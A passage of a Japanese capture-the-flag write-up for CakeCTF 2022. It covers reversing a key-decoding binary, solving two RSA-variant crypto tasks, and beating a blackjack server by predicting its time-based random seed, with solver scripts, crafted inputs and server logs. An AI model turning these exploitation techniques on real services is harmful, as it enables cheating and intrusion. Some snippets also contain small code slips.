          std::vector<unsigned_char,std::allocator<unsigned_char>>::~vector
                    ((vector<unsigned_char,std::allocator<unsigned_char>> *)local_b8);
        }
        else {
          pbVar7 = std::operator<<((basic_ostream *)std::cerr,"[-] Invalid key.");
          std::basic_ostream<char,std::char_traits<char>>::operator<<
                    ((basic_ostream<char,std::char_traits<char>> *)pbVar7,
                     std::endl<char,std::char_traits<char>>);
          uVar9 = 1;
        }
      }
      else {
        pbVar7 = std::operator<<((basic_ostream *)std::cerr,"[-] Failed to decode key.");
        std::basic_ostream<char,std::char_traits<char>>::operator<<
                  ((basic_ostream<char,std::char_traits<char>> *)pbVar7,
                   std::endl<char,std::char_traits<char>>);
        uVar9 = 1;
      }
    }
    else {
      pbVar7 = std::operator<<((basic_ostream *)std::cerr,"[-] Failed to read key.");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar7,
                 std::endl<char,std::char_traits<char>>);
      uVar9 = 1;
    }
  }
  else {
    pbVar7 = std::operator<<((basic_ostream *)std::cerr,"[-] Failed to open flag.");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar7,
               std::endl<char,std::char_traits<char>>);
    uVar9 = 1;
  }
  kiwi::MemoryPool::~MemoryPool(local_c8);
  kiwi::ByteBuffer::~ByteBuffer(local_98);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
            ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_68);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar9;
}

少し長いですが、処理の流れをまとめると次のようになっています。

  1. ファイルからフラグを読み込む
  2. EncryptionKeyを入力してもらう
  3. EncryptionKeyをデコードする
  4. デコード結果をチェックする
  5. フラグをEncryptionKey->keyで暗号化して16進数で表示する

最初に、プログラムを読み進めていくうえで重要な構造体であるEncryptionKeyの説明を行います。EncryptionKeyは次のような構造体です。

struct EncryptionKey {
    uint32_t flag;
    uint32_t padding?;
    Array<unsigned_char> key;
    uint32_t padding?;
    uint32_t magic;
};

また、Array<unsiend_char>は配列のポインタとサイズの情報だけを持つシンプルな構造体です。

struct Array<unsigned_char> {
    uchar* ptr;
    uint   size;
};

これらの構造体を踏まえて、解析を進めていきます。

フラグを読み込む部分は重要ではないので、keyの入力部から見ていきます。

undefined8 readKey(ByteBuffer *param_1)

{
  char cVar1;
  bool bVar2;
  back_insert_iterator bVar3;
  uchar *puVar4;
  undefined8 uVar5;
  long in_FS_OFFSET;
  undefined8 local_80;
  undefined8 local_78;
  vector<unsigned_char,std::allocator<unsigned_char>> *local_70;
  vector<unsigned_char,std::allocator<unsigned_char>> local_68 [32];
  basic_string local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  std::vector<unsigned_char,std::allocator<unsigned_char>>::vector(local_68);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
                    /* try { // try from 00106274 to 00106297 has its CatchHandler @ 00106383 */
  std::operator<<((basic_ostream *)std::cout,"Enter key: ");
  std::operator>>((basic_istream *)std::cin,local_48);
  cVar1 = std::basic_ios<char,std::char_traits<char>>::good();
  if (cVar1 == '\x01') {
                    /* try { // try from 001062b0 to 001062c6 has its CatchHandler @ 0010636b */
    bVar3 = std::back_inserter<std::vector<unsigned_char,std::allocator<unsigned_char>>>
                      ((vector *)local_68);
    boost::algorithm::
    unhex<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::back_insert_iterator<std::vector<unsigned_char,std::allocator<unsigned_char>>>>
              (local_48,bVar3);
    local_70 = local_68;
    local_80 = std::vector<unsigned_char,std::allocator<unsigned_char>>::begin(local_70);
    local_78 = std::vector<unsigned_char,std::allocator<unsigned_char>>::end(local_70);
    while( true ) {
      bVar2 = __gnu_cxx::operator!=((__normal_iterator *)&local_80,(__normal_iterator *)&local_78);
      if (bVar2 == false) break;
      puVar4 = (uchar *)__gnu_cxx::
                        __normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>>
                        ::operator*((__normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>>
                                     *)&local_80);
                    /* try { // try from 00106328 to 00106380 has its CatchHandler @ 00106383 */
      kiwi::ByteBuffer::writeByte(param_1,*puVar4);
      __gnu_cxx::
      __normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>>::
      operator++((__normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>>
                  *)&local_80);
    }
    uVar5 = 0;
  }
  else {
    uVar5 = 1;
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
            ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_48);
  std::vector<unsigned_char,std::allocator<unsigned_char>>::~vector(local_68);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar5;
}

この関数の中で、次の2つの部分に注目します。

  std::operator<<((basic_ostream *)std::cout,"Enter key: ");
  std::operator>>((basic_istream *)std::cin,local_48);
    boost::algorithm::
    unhex<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::back_insert_iterator<std::vector<unsigned_char,std::allocator<unsigned_char>>>>
              (local_48,bVar3);

std::operator>>((basic_istream *)std::cin,local_48)boost::algorithm::unhexなどが見えるので、入力された16進数文字列をバイト列に変換する処理を行っている関数だと推測できます。バイト列に変換した結果は第一引数で与えられたバッファに書き込まれます。また、このバッファはdecode関数の第一引数に与えられます。

次に、EncryptionKeyのデコード部を見ていきます。

undefined8 __thiscall
cakectf::EncryptionKey::decode
          (EncryptionKey *this,ByteBuffer *param_1,MemoryPool *param_2,BinarySchema *param_3)

{
  bool bVar1;
  char cVar2;
  undefined8 uVar3;
  long in_FS_OFFSET;
  uint local_38;
  uint local_34;
  uchar *local_30;
  Array<unsigned_char> *local_28;
  uchar *local_20;
  uchar *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
LAB_00105fd5:
  do {
    while( true ) {
      cVar2 = kiwi::ByteBuffer::readVarUint(param_1,&local_34);
      if (cVar2 != '\x01') {
        uVar3 = 0;
        goto LAB_00106145;
      }
      if (local_34 != 2) break;
      cVar2 = kiwi::ByteBuffer::readVarUint(param_1,&local_38);
      if (cVar2 != '\x01') {
        uVar3 = 0;
        goto LAB_00106145;
      }
      local_28 = (Array<unsigned_char> *)set_key(this,param_2,local_38);
      local_30 = (uchar *)kiwi::Array<unsigned_char>::begin(local_28);
      local_20 = (uchar *)kiwi::Array<unsigned_char>::end(local_28);
      for (; local_30 != local_20; local_30 = local_30 + 1) {
        local_18 = local_30;
        cVar2 = kiwi::ByteBuffer::readByte(param_1,local_30);
        if (cVar2 != '\x01') {
          uVar3 = 0;
          goto LAB_00106145;
        }
      }
    }
    if (local_34 < 3) {
      if (local_34 == 0) {
        uVar3 = 1;
        goto LAB_00106145;
      }
      if (local_34 == 1) {
        cVar2 = kiwi::ByteBuffer::readVarUint(param_1,(uint *)(this + 0x18));
        if (cVar2 != '\x01') {
          uVar3 = 0;
          goto LAB_00106145;
        }
        set_magic(this,(uint *)(this + 0x18));
        goto LAB_00105fd5;
      }
    }
    if ((param_3 == (BinarySchema *)0x0) ||
       (cVar2 = BinarySchema::skipEncryptionKeyField(param_3,param_1,local_34), cVar2 != '\x01')) {
      bVar1 = true;
    }
    else {
      bVar1 = false;
    }
    if (bVar1) {
      uVar3 = 0;
LAB_00106145:
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return uVar3;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
  } while( true );
}

この関数は、readKeyで読み込んだデータをデコードし、第一引数のEncryptionKeyに結果を格納していきます。この関数は大まかに分けると、モード読み込み部、key読み込み部、magic読み込み部の3つの部分にわけられます。

モード読み込み部から順に読み進めていきます。

      cVar2 = kiwi::ByteBuffer::readVarUint(param_1,&local_34);
      if (cVar2 != '\x01') {
        uVar3 = 0;
        goto LAB_00106145;
      }

ByteBuffer::readVarUintPythonで書き直すと、次のようになります。

def readVarUint(buffer, ret):
    i = 0
    while True:
        x = buffer.read(1)
        if len(x) == 0:
            return 0
        ret = ret | ((x & 0x7f) << i)
        i = i + 7
        if x < 0x80 or i > 0x23:
            break
    return 1

readKeyでデータを書き込んだバッファから1byteずつ読みだしていき、7bit分だけ取り出して結合していきます。読みだしたデータが0x80より小さい場合、読み出しを中止するので注意が必要です。

モード読み込み部では、この関数を使ってlocal_34に値を読み込んでいます。このlocal_34によって、この後の処理が変わるのでモードと呼びました。

モード読み込み部の次は、key読み込み部を読み進めていきます。

      if (local_34 != 2) break;
      cVar2 = kiwi::ByteBuffer::readVarUint(param_1,&local_38);
      if (cVar2 != '\x01') {
        uVar3 = 0;
        goto LAB_00106145;
      }
      local_28 = (Array<unsigned_char> *)set_key(this,param_2,local_38);
      local_30 = (uchar *)kiwi::Array<unsigned_char>::begin(local_28);
      local_20 = (uchar *)kiwi::Array<unsigned_char>::end(local_28);
      for (; local_30 != local_20; local_30 = local_30 + 1) {
        local_18 = local_30;
        cVar2 = kiwi::ByteBuffer::readByte(param_1,local_30);
        if (cVar2 != '\x01') {
          uVar3 = 0;
          goto LAB_00106145;
        }
      }

keyの読み込みはlocal_34が2の時にのみ行われます。local_34が2出ない場合、magic読み出し部に遷移します。この部分では、ByteBuffer::readVarUintでlocal_38にデータを読み出し、その値をset_keyに渡しています。

EncryptionKey * __thiscall
cakectf::EncryptionKey::set_key(EncryptionKey *this,MemoryPool *param_1,uint param_2)

{
  long lVar1;
  Array AVar2;
  undefined7 extraout_var;
  undefined4 extraout_EDX;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  *(uint *)this = *(uint *)this | 2;
  AVar2 = kiwi::MemoryPool::array<unsigned_char>(param_1,param_2);
  *(ulong *)(this + 8) = CONCAT71(extraout_var,AVar2);
  *(undefined4 *)(this + 0x10) = extraout_EDX;
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return this + 8;
}

set_keyは、第一引数で渡されたEncryptionKeykeyの情報を設定を行うための関数です。keyをセットしたことを表すフラグを立てて、keyを格納するためのメモリを確保します。keyの長さは第三引数で与えられます。つまり、先ほど出てきたlocal_38がkeyの長さとなります。

set_keyの実行が終わると、実際にByteBufferからkeyの長さだけデータの読み込みを行います。

次に、magic読み込み部を読み進めていきます。

    if (local_34 < 3) {
      if (local_34 == 0) {
        uVar3 = 1;
        goto LAB_00106145;
      }
      if (local_34 == 1) {
        cVar2 = kiwi::ByteBuffer::readVarUint(param_1,(uint *)(this + 0x18));
        if (cVar2 != '\x01') {
          uVar3 = 0;
          goto LAB_00106145;
        }
        set_magic(this,(uint *)(this + 0x18));
        goto LAB_00105fd5;
      }
    }

magicの読み込みはlocal_34が1の時にのみ行われます。set_magicは第一引数で与えられたEncryptionKeyのフラグにmagicがセットされたことを表すビットを追加する関数です。 また、local_34を0にすると、デコード関数を抜けることができます。

keyのデコードを行う処理を一通り読み終えたので、次にデコード結果のチェックを行う部分を読んでいきます。

undefined8 checkMessage(EncryptionKey *param_1)

{
  uint uVar1;
  long lVar2;
  undefined8 uVar3;
  int *piVar4;
  Array<unsigned_char> *this;
  
  lVar2 = cakectf::EncryptionKey::magic(param_1);
  if (lVar2 == 0) {
    uVar3 = 1;
  }
  else {
    piVar4 = (int *)cakectf::EncryptionKey::magic(param_1);
    if (*piVar4 == -0x35013b0d) {
      lVar2 = cakectf::EncryptionKey::key(param_1);
      if (lVar2 == 0) {
        uVar3 = 1;
      }
      else {
        this = (Array<unsigned_char> *)cakectf::EncryptionKey::key(param_1);
        uVar1 = kiwi::Array<unsigned_char>::size(this);
        if (uVar1 < 8) {
          uVar3 = 1;
        }
        else {
          uVar3 = 0;
        }
      }
    }
    else {
      uVar3 = 1;
    }
  }
  return uVar3;
}

この関数では、次の4項目をチェックしています。

  1. EncryptionKeyにmagicが設定されているか
  2. EncryptionKey->magicの値が0xcafec4f3になっているか
  3. EncryptionKeyにkeyが設定されている
  4. EncryptionKey->keyの長さが8以上か

これら全てを満たしていないと、Invalid keyと表示されてしまいます。

デコード部の解析結果と満たさなければならない条件を合わせると、readKeyに次のような文字列を渡せばよいことが分かります。

0208414141414141414101f389fbd78c00
文字 意味
02 keyの設定
08 keyの長さは8
4141414141414141 keyはAAAAAAAA
01 magicの設定
f389fbd78c magicはcafec4f3

長かったですが、最後にフラグを暗号化する部分を見ていきます。

basic_string * encryptFlag(basic_string *param_1,Array *param_2)

{
  char cVar1;
  uint uVar2;
  ulong uVar3;
  char *pcVar4;
  long lVar5;
  Array<unsigned_char> *in_RDX;
  long in_FS_OFFSET;
  ulong local_30;
  ulong local_28;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  std::vector<unsigned_char,std::allocator<unsigned_char>>::vector
            ((vector<unsigned_char,std::allocator<unsigned_char>> *)param_1);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size();
                    /* try { // try from 0010649e to 00106536 has its CatchHandler @ 00106541 */
  std::vector<unsigned_char,std::allocator<unsigned_char>>::reserve((ulong)param_1);
  local_28 = 0;
  while( true ) {
    uVar3 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size();
    if (uVar3 <= local_28) break;
    pcVar4 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
                     operator[]((ulong)param_2);
    cVar1 = *pcVar4;
    lVar5 = kiwi::Array<unsigned_char>::data(in_RDX);
    uVar2 = kiwi::Array<unsigned_char>::size(in_RDX);
    local_30 = (long)(int)((((uint)*(byte *)(local_28 % (ulong)uVar2 + lVar5) ^ (int)cVar1) & 0xff |
                           (uint)(uint3)(cVar1 >> 7) << 8) ^ 0xff) ^ local_28;
    std::vector<unsigned_char,std::allocator<unsigned_char>>::emplace_back<unsigned_long>
              ((vector<unsigned_char,std::allocator<unsigned_char>> *)param_1,&local_30);
    local_28 = local_28 + 1;
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return param_1;
}

この関数は、呼び出し元では第三引数まで与えているのですが、関数の内部では第二引数までしか表示されていません。そのため、Edit function signatureで第三引数を追加してやります。

basic_string * encryptFlag(basic_string *param_1,Array *param_2,Array *key)

{
  char cVar1;
  uint uVar2;
  ulong uVar3;
  char *pcVar4;
  long lVar5;
  long in_FS_OFFSET;
  ulong local_30;
  ulong local_28;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  std::vector<unsigned_char,std::allocator<unsigned_char>>::vector
            ((vector<unsigned_char,std::allocator<unsigned_char>> *)param_1);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size();
                    /* try { // try from 0010649e to 00106536 has its CatchHandler @ 00106541 */
  std::vector<unsigned_char,std::allocator<unsigned_char>>::reserve((ulong)param_1);
  local_28 = 0;
  while( true ) {
    uVar3 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size();
    if (uVar3 <= local_28) break;
    pcVar4 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
                     operator[]((ulong)param_2);
    cVar1 = *pcVar4;
    lVar5 = kiwi::Array<unsigned_char>::data((Array<unsigned_char> *)key);
    uVar2 = kiwi::Array<unsigned_char>::size((Array<unsigned_char> *)key);
    local_30 = (long)(int)((((uint)*(byte *)(local_28 % (ulong)uVar2 + lVar5) ^ (int)cVar1) & 0xff |
                           (uint)(uint3)(cVar1 >> 7) << 8) ^ 0xff) ^ local_28;
    std::vector<unsigned_char,std::allocator<unsigned_char>>::emplace_back<unsigned_long>
              ((vector<unsigned_char,std::allocator<unsigned_char>> *)param_1,&local_30);
    local_28 = local_28 + 1;
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return param_1;
}

引数を表示するとin_RDXとなっていた部分が、正しく表示されるようになりました。

  local_30 = (long)(int)((((uint)*(byte *)(local_28 % (ulong)uVar2 + lVar5) ^ (int)cVar1) & 0xff |
                           (uint)(uint3)(cVar1 >> 7) << 8) ^ 0xff) ^ local_28;

この部分で暗号化しているように見えます。変数名や型をうまい感じに変更すると、次に示すようになります。

  local_30 = (long)(int)((((uint)key_ptr[i % (ulong)key_len] ^ (int)plain_i) & 0xff |
                           (uint)(uint3)(plain_i >> 7) << 8) ^ 0xff) ^ i;

さらに、この処理をPythonで書き直すと次のようになります。

enc = []
for i, m in enumerate(flag):
    e = ((key[i % len(i)] ^ m) | ((m >> 7) << 8)) ^ 0xff ^ i
    enc.append(e)

これで、keyの設定から暗号化までの全ての処理を読み解くことができました。最後に、サーバーにアクセスして暗号化されたフラグを手に入れます。

$ nc misc.2022.cakectf.com 10044
Enter key: 0208414141414141414101f389fbd78c00
Encrypted flag: fdded7d8f9effec2c184ebdb8180d4eeda9ff3ddd898de9ac8d3fbe2cdccc7cdfbc0faefaaf6c7eae2a3faf1a6e1f4a0f4bee2ead5eefebaf4fef0edb3ede7fc

最後に、暗号化されたフラグを復号して終わりです。

enc = bytes.fromhex("fdded7d8f9effec2c184ebdb8180d4eeda9ff3ddd898de9ac8d3fbe2cdccc7cdfbc0faefaaf6c7eae2a3faf1a6e1f4a0f4bee2ead5eefebaf4fef0edb3ede7fc")
key = b"A" * 8

for i in range(len(enc)):
    x = enc[i] ^ 0xff ^ i
    print(chr(x ^ key[i % len(key)]), end="")
$ python3 solve.py
CakeCTF{w3_n33d_t0_pr3v3nt_Google_fr0m_st4nd4rd1z1ng_ev3ryth1ng}

Crypto

frozen

次式で表すパラメータが与えられます。mはフラグです。

\begin{align} n = pq \\ a = m^{p} \mod n \\ b = m^{q} \mod n \\ c = m^{n} \mod n \end{align}

オイラーの定理より、次の式が成り立ちます

\begin{align} m^{\phi(n)} \equiv 1 \mod n \end{align}

また、\phi(n)= (p - 1)(q - 1) = pq - p - q + 1であるため、n - p - q = \phi(n) - 1となり、次式が成り立ちます。

\begin{align} m^{n-p-q} \equiv m^{-1} \mod n \end{align}

よって、得られたm^{-1}n-1乗してcにかけることで、mが求まります。

from Crypto.Util.number import *

n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131
a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528
b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477
c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549
m_inv = c * inverse(a, n) * inverse(b, n) % n
flag = c * pow(m_inv, n-1, n) % n
print(long_to_bytes(flag))
$ python3 solve.py
b'CakeCTF{oh_you_got_a_tepid_cake_sorry}'

brand new crypto

暗号化スクリプトと暗号化されたフラグ、公開鍵が与えられます。

from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
import os

flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()


def keygen():
    p = getPrime(512)
    q = getPrime(512)

    n = p * q
    phi = (p-1)*(q-1)

    while True:
        a = getRandomRange(0, phi)
        b = phi + 1 - a

        s = getRandomRange(0, phi)
        t = -s*a * inverse(b, phi) % phi

        if GCD(b, phi) == 1:
            break
    return (s, t, n), (a, b, n)

def enc(m, k):
    s, t, n = k
    r = getRandomRange(0, n)

    c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n
    assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n)
    assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n
    return m * pow(r, s, n) % n, m * pow(r, t, n) % n


def dec(c1, c2, k):
    a, b, n = k
    return pow(c1, a, n) * pow(c2, b, n) % n


pubkey, privkey = keygen()

c = []
for m in flag:
    c1, c2 = enc(m, pubkey)
    assert dec(c1, c2, privkey)

    c.append((c1, c2))

print(pubkey)
print(c)

まず初めに、拡張ユークリッドの互除法を用いて、次の式を満たすx,yを求めます。

\begin{align} sx + ty = g \\ g = gcd(s, t) \end{align}

求まったx,yを用いて、c^{x} c^{y}を計算します。

\begin{align} c^{x} \cdot c^{y} = m^{x+y} \cdot r^{sx + ty} \end{align}

ここでs,t,x,yの関係から、右辺はm^{x+y}r^{g}と書き換えられます。これにm^{-(x+y)}をかけることで、r^{g}が求まります。

gs,tの最大公約数なので、\frac{s}{g}\frac{t}{g}はどちらも整数になります。よって、r^{g}, s, tを使ってr^{s}, r^{t}を求めることができ、c_1, c_2を再計算できます。r^{g}を計算する際に使ったmが正しくなければ、再計算したc_1, c_2が与えられたものと一致しません。

from Crypto.Util.number import *

s, t, n = (44457996541109264543284111178082553410419033332933855029363322091957710753242917508747882680709132255025509848204006030686617307316137416397450494573423244830052462483843567537344210991076324207515569278270648840208766149246779012496534431346275624249119115743590926999300158062187114503770514228292645532889, 75622462740705359579857266531198198929612563464817955054875685655358744782391371293388270063132474250597500914288453906887121012643294580694372006205578418907575162795883743494713767823237535100775877335627557578951318120871174260688499833942391274431491217435762560130588830786154386756534628356395133427386, 91233708289497879320704164937114724540200575521246085087047537708894670866471897157920582191400650150220814107207066041052113610311730091821182442842666316994964015355215462897608933791331415549840187109084103453994140639503367448406813551512209985221908363575016455506188206133500417002509674392650575098359)
enc = []

def xgcd(a: int, b: int):
    x0, y0, x1, y1 = 0, 1, 1, 0
    while a != 0:
        q, a, b = b // a, b % a, a
        x0, x1 = x1, x0 - x1 * q
        y0, y1 = y1, y0 - y1 * q
    return b, x0, y0

flag = ""
for c1, c2 in enc:
    for m in range(256):
        g, x, y = xgcd(s, t)
        z = pow(c1, x, n)
        w = pow(c2, y, n)
        mm = pow(m, -(x+y), n)
        r_ = mm * z * w % n
        c1_ = (m * pow(r_, s // g, n)) % n
        c2_ = (m * pow(r_, t // g, n)) % n
        if c1_ == c1 and c2_ == c2:
            flag += chr(m)
            break
print(flag)

Misc

matsushima3

ブラックジャックのサーバとクライアントのプログラムが与えられます。

クライアントを起動すると、次の画面が表示されました。

中身は通常のブラックジャックで、キーボード操作で遊ぶことができます。楽しい。

フラグを手に入れる条件を調べるために、サーバ側のプログラムを見ていきます。

    # Special bonus
    if session['money'] > 999999999999999:
        flag = os.getenv('FLAG', "CakeCTF{**** REDUCTED ****}")
        state = 'flag'
    else:
        flag = ''

どうやら、所持金が999999999999999より多ければ表示されるようです。所持金は100$からスタートして、ディーラーに勝つと2倍になり負けると0になります。フラグを手に入れるためには50連勝ほどしなければならないので現実的ではありません。

サーバーのソースコードを見ていくと、山札を生成する際のシード値がクライアント側から計算できることがわかりました。

@app.route('/game/new')
def game_new():
    """Create a new game"""
    if session['state'] == GameState.IN_PROGRESS:
        # Player tried to abort game
        session['state'] = GameState.PLAYER_CHEAT
        abort(400, "Cheat detected")

    # Shuffle cards
    deck = [(i // 13, i % 13) for i in range(4*13)]
    random.seed(int(time.time()) ^ session['user_id'])
    random.shuffle(deck)
    session['deck'] = deck

シード値を与えると、勝利できるか確認できるシミュレーターを作成しました。これで、確実に勝てるタイミングでゲームを開始すれば、いくらでもディーラーに勝つことができます。

import random

def calculate_scorecards(cards):
    """Calculate current total of cards"""
    num_ace = 0
    score = 0
    for _, c in cards:
        if c == 0: num_ace += 1
        elif c < 10: score += c + 1
        else: score += 10

    while num_ace > 0:
        if 21 - score >= 10 + num_ace: score += 11
        else: score += 1
        num_ace -= 1

    return -1 if score > 21 else score

class Simulator:
    def __init__(self, seed):
        self.deck = [(i // 13, i % 13) for i in range(4*13)]
        random.seed(seed)
        random.shuffle(self.deck)

        self.player_hand = []
        self.dealer_hand = []
        for i in range(2):
            self.player_hand.append(self.deck.pop())
            self.dealer_hand.append(self.deck.pop())
        self.player_score = calculate_scorecards(self.player_hand)
        self.dealer_score = calculate_scorecards(self.dealer_hand)

        self.commands = []

    def hit(self):
        self.player_hand.append(self.deck.pop())
        self.player_score = calculate_scorecards(self.player_hand)

        if calculate_scorecards(self.dealer_hand) <= 16:
            self.dealer_hand.append(self.deck.pop())
            self.dealer_score = calculate_scorecards(self.dealer_hand)

    def stand(self):
        dealer_score = calculate_scorecards(self.dealer_hand)
        while dealer_score <= 16:
            self.dealer_hand.append(self.deck.pop())
            dealer_score = calculate_scorecards(self.dealer_hand)
            if dealer_score == -1:
                break
        self.dealer_score = dealer_score

    def simulate(self):
        while True:
            next_card = self.deck[-1]
            temp_hand = [*self.player_hand, next_card]
            if calculate_scorecards(temp_hand) <= 16:
                action = "hit"
                self.hit()
            else:
                action = "stand"
                self.stand()

            self.commands.append(action)
            if self.player_score == self.dealer_score == -1 or (action == "stand" and self.player_score == self.dealer_score):
                return False

            if self.dealer_score == -1:
                return True
            if action == "stand" and self.player_score > self.dealer_score:
                return True

            if self.player_score == -1:
                return False
            if action == "stand" and self.player_score < self.dealer_score:
                return False

シミュレータを使って無限に勝ち続けるプログラムを作成し、実行するとフラグが手に入りました。

from simulator import Simulator
from game import ServerConnection
import time

conn = ServerConnection("misc.2022.cakectf.com", 10011)

user = conn.request("user/new")

def exec_game(user):
    while True:
        seed = int(time.time() - 3) ^ user["user_id"]
        sim = Simulator(seed)
        if not sim.simulate():
            continue

        conn.request("game/new")
        for command in sim.commands:
            res = conn.request("game/act", {"action":command})
            print(res)
        time.sleep(1)

exec_game(user)
$ python3 solve.py
{'daler_action': 'stand', 'dealer_hand': [[2, 5], [1, 6], [3, 0], [2, 8]], 'dealer_score': -1, 'flag': '', 'money': 200, 'num_dealer_cards': 4, 'player_hand': [[2, 11], [3, 12]], 'player_score': 20, 'state': 'win'}
{'dealer_action': 'stand', 'dealer_hand': [[3, 12], [3, 2], [2, 9]], 'dealer_score': -1, 'flag': '', 'money': 400, 'num_dealer_cards': 3, 'player_hand': [[0, 11], [0, 0]], 'player_score': 21, 'state': 'win'}
{'dealer_action': 'stand', 'dealer_hand': [[1, 5], [1, 2], [2, 4], [1, 12]], 'dealer_score': -1, 'flag': '', 'money': 800, 'num_dealer_cards': 4, 'player_hand': [[3, 11], [3, 2]], 'player_score': 13, 'state': 'win'}
{'dealer_action': 'stand', 'dealer_hand': [[2, 11], [0, 5], [2, 8]], 'dealer_score': -1, 'flag': '', 'money': 1600, 'num_dealer_cards': 3, 'player_hand': [[3, 2], [1, 8]], 'player_score': 12, 'state': 'win'}
...
{'dealer_action': 'stand', 'dealer_hand': [[0, 8], [1, 0]], 'dealer_score': 20, 'flag': '', 'money': 439804651110400, 'num_dealer_cards': 2, 'player_hand': [[2, 0], [3, 11]], 'player_score': 21, 'state': 'win'}
{'dealer_action': 'hit', 'dealer_hand': [[1, 7], [2, 3], [1, 12]], 'dealer_score': -1, 'flag': '', 'money': 879609302220800, 'num_dealer_cards': 3, 'player_hand': [[0, 4], [0, 1], [2, 1]], 'player_score': 9, 'state': 'win'}
{'dealer_action': 'stand', 'dealer_hand': [[0, 2], [0, 4], [2, 8]], 'dealer_score': 17, 'flag': '"CakeCTF{INFAMOUS_LOGIC_BUG}"', 'money': 1759218604441600, 'num_dealer_cards': 3, 'player_hand': [[0, 11], [3, 0]], 'player_score': 21, 'state': 'flag'}
{'dealer_action': 'hit', 'dealer_hand': [[1, 8], [0, 5], [0, 12]], 'dealer_score': -1, 'flag': '"CakeCTF{INFAMOUS_LOGIC_BUG}"', 'money': 3518437208883200, 'num_dealer_cards': 3, 'player_hand': [[1, 7], [3, 4], [3, 0]], 'player_score': 14, 'state': 'flag'}